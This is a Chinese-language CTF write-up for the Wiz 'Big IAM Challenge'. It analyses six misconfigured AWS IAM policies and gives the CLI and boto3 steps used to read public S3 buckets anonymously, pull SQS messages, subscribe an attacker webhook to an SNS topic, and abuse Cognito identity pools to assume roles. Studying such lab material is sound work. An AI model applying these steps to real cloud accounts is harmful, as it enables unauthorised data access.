云上CTF:IAM挑战WP
快速领证
1 | {wiz:exposed-storage-risky-as-usual} |
第一关:
题目给的IAM策略:
1 | { "Version": "2012-10-17", |
策略漏洞:
1. 公开访问:**"Principal": "*"**表示该策略允许任何人(包括未经认证的用户)访问。这可能导致数据泄露或未经授权的访问。建议限制访问权限,只允许特定的IAM用户、角色或AWS账户访问。 2. 过于宽泛的资源访问:**"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"**表示允许访问该存储桶中的所有对象。如果有敏感数据或不应公开的文件,这可能导致数据泄露。建议限制资源访问,只允许访问特定路径或对象。 3. 未限制IP地址:该策略没有限制来源IP地址,这意味着任何人都可以从任何地方访问。建议添加一个条件,限制访问来源IP地址范围。解题步骤:
1.列出存储桶的所有文件:
1 | aws s3 ls s3://thebigiamchallenge-storage-9979f4b/ |
2.进一步列目录
1 | aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files |
3.下载flags1.txt文件
1 | aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flags1.txt /tmp/flags.txt |
4.查看flags.txt
1 | cat /tmp/flags.txt |
第二关:
谷歌分析我们专门针对这一挑战创建了自己的分析系统。我们认为它非常好,甚至在此页面上使用了它。可能会出什么问题?
加入我们的队列并获得秘密旗帜。
题目给的IAM策略:
1 | { |
策略漏洞:
1. 公开访问:**"Principal": "*"**表示该策略允许任何人(包括未经认证的用户)访问。这可能导致数据泄露或未经授权的访问。建议限制访问权限,只允许特定的IAM用户、角色或AWS账户访问。 2. 过于宽泛的操作权限:该策略允许用户执行**SendMessage**和**ReceiveMessage**操作,这可能导致未经授权的发送和接收消息。根据最小权限原则,您应该根据实际需求限制操作权限。例如,如果某些用户只需要发送消息,而其他用户只需要接收消息,您可以为这两类用户创建单独的策略。 3. 未限制IP地址:该策略没有限制来源IP地址,这意味着任何人都可以从任何地方访问。建议添加一个条件,限制访问来源IP地址范围。解题步骤:
模拟消息接收
1 | aws sqs receive-message --queue-url https://sqs.us-east-1.awazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 |
- MessageId: 消息的唯一标识符。
- ReceiptHandle: 用于稍后在删除消息时使用的临时凭证。
- MD5OfBody: 消息正文的 MD5 哈希值,用于验证消息的完整性。
- Body: 消息的正文,包含了您发送到队列的数据。在这个例子中,它是一个 JSON 对象,包含 URL、User-Agent 和 IsAdmin 属性。
直接访问html
第一步返回的url,以为要配合他给的临时凭证,然后发现这个临时凭证是删除时才使用的。第三关:
题目给的IAM策略:
1 | { |
策略漏洞:
此IAM策略的漏洞是它允许任何AWS用户(由于主体为 "*")订阅SNS主题。这可能会导致未经授权的用户接收到关于特定SNS主题的通知,从而泄露敏感信息。此外,由于条件限制了接收端点以 "@tbic.wiz.io" 结尾,攻击者可能会尝试创建满足此条件的恶意端点,以便接收这些通知。为了利用这个漏洞,攻击者可以:
- 使用他们自己的AWS账户。
- 创建一个满足条件(即以 “@tbic.wiz.io” 结尾)的恶意端点。
- 调用 SNS:Subscribe 操作,将其恶意端点添加到 “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications” 主题中。
这样,攻击者将能够接收到该SNS主题发送的通知,可能包括敏感信息。
解题步骤:
创建符合后缀的恶意接口
这里我们在网上随便找一个webhook的测试站(也可以自己本地搭建一个,只要能接收post请求)Web的webhook.site替代品 — Altapps.net
发送订阅请求
1 | aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol https --notification-endpoint 'https://requestinspector.com/inspect/01h40j155mjbn2vp2txfck7nd7/qqq@tbic.wiz.io' |
回到我们的接口查看
确认订阅
点击该确认订阅后,接口会接收到消息通知发现了我们的flag
第四关:
题目给的IAM策略:
1 | { |
策略漏洞:
1. 在第一个声明中,Effect为"Allow",Principal为"*",这意味着任何AWS用户(甚至未经认证的用户)都被允许执行"s3:GetObject"操作。这可能导致数据泄露,因为任何人都可以访问存储桶中的对象 2. 在第二个声明中,虽然有条件限制,但由于Effect为"Allow"且Principal为"*",这意味着任何AWS用户都可以尝试列出存储桶中的内容。虽然"s3:prefix"和"aws:PrincipalArn"的条件限制了对特定文件的访问,但仍然存在潜在的安全风险。解题步骤:
在第一个声明中表明任何AWS用户都可以请求s3存储桶的文件,所以直接访问但是发现没有权限
通过使用 –no-sign-request 参数,您可以在未经认证的情况下访问 S3 存储桶。这意味着任何人都可以使用此命令下载存储桶中的所有文件,从而导致数据泄露。
1 | aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files /tmp/files --recursive --no-sign-request |
第二条规则同理:
第五关:
题目给的IAM策略:
1 | { |
策略漏洞:
1. 对于所有资源(*),允许执行**mobileanalytics:PutEvents**和**cognito-sync:***操作。 2. 对于名为**wiz-privatefiles**的S3存储桶及其所有对象,允许执行**s3:GetObject**和**s3:ListBucket**操作。解题步骤:
页面能展示图片我们可以查看一下js和html看是否有调用:1 | 由此我们可以看到,我们从 cognito 获取凭据,然后页面使用它们来提取文件cognito1.png。 |
获取到的信息:
然后把凭据配置到aws cli
1 | export AWS_ACCESS_KEY_ID="A**************" |
可是这里一直设置有问题,问一下强哥
强哥给我说直接用他的js执行一遍,他能取到你也可以取到。
可以看到,这里取到了flag1.txt了,直接访问
::: info
当然这样要靠猜文件名
:::
直接用脚本来实现:
1 | import boto3 |
列出桶里面所有的文件。
这里原本的设计解题应该是这样:
1 | aws s3 ls s3://wiz-privatefiles/ |
第六关:
好的,直接放弃。
题目给的IAM策略:
1 | { |
策略解读:
1. Effect:声明的效果是"Allow",表示允许执行指定的操作。 2. Principal:声明中的主体是一个联合身份提供商,即cognito-identity.amazonaws.com。这意味着允许Cognito身份池中的用户执行操作。 3. Action:策略允许执行的操作是sts:AssumeRoleWithWebIdentity。这意味着用户可以使用Web身份(如Cognito用户池、Facebook、Google等)扮演角色。 4. Condition:策略中有一个条件,要求"cognito-identity.amazonaws.com:aud"的值必须等于"us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"。这意味着只有特定Cognito身份池中的用户才能执行操作。 5. 这个策略仅限制了用户必须来自特定的Cognito身份池,但没有限制具体哪些用户可以执行操作。这可能导致未经授权的用户扮演角色。为了提高安全性,可以在条件中添加更多限制,例如,要求用户属于某个Cognito用户池组。 6. 策略没有限制用户可以扮演哪些角色。这可能导致用户扮演过于高权限的角色。为了提高安全性,可以在策略中添加资源(Resource)元素,限制允许扮演的角色。 7. 确保在实际环境中使用正确的Cognito身份池ID(us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b)。如果使用错误的ID,可能导致未经授权的用户获得访问权限,或者授权用户无法访问资源。解题步骤:
获取身份 ID
首先,我们可以通过运行以下命令从池中获取身份 ID。1 | aws cognito-identity get-id --region us-east-1 --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b |
获取web的凭据(JWT)
1 | aws cognito-identity get-open-id-token --region us-east-1 --identity-id us-east-1:ff551393-eeb6-4987-88d8-ac3a15268d59 |
1 | { |
现在我们可以承担角色Cognito_s3accessAuth_Role并传递 JWT。
使用 **aws sts assume-role** 命令获取临时凭据。将 **ROLE_ARN** 替换为您要扮演的 IAM 角色的 Amazon 资源名称(ARN),并将 **ROLE_SESSION_NAME** 替换为您选择的会话名称:1 | aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name iam-challenge-6 --web-identity-token 'eyJraWQiOiJ1cy1lYXN0LTEzIiwidHlwIjoiSldTIiwiYWxnIjoiUlM1MTIifQ.eyJzdWIiOiJ1cy1lYXN0LTE6ZmY1NTEzOTMtZWViNi00OTg3LTg4ZDgtYWMzYTE1MjY4ZD |
可是:(王得发)
问了强哥token有时间限制,要用python脚本
1 | import boto3 |
获取到了所有的flag文件,都试一下就行了。
参考链接:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Plague!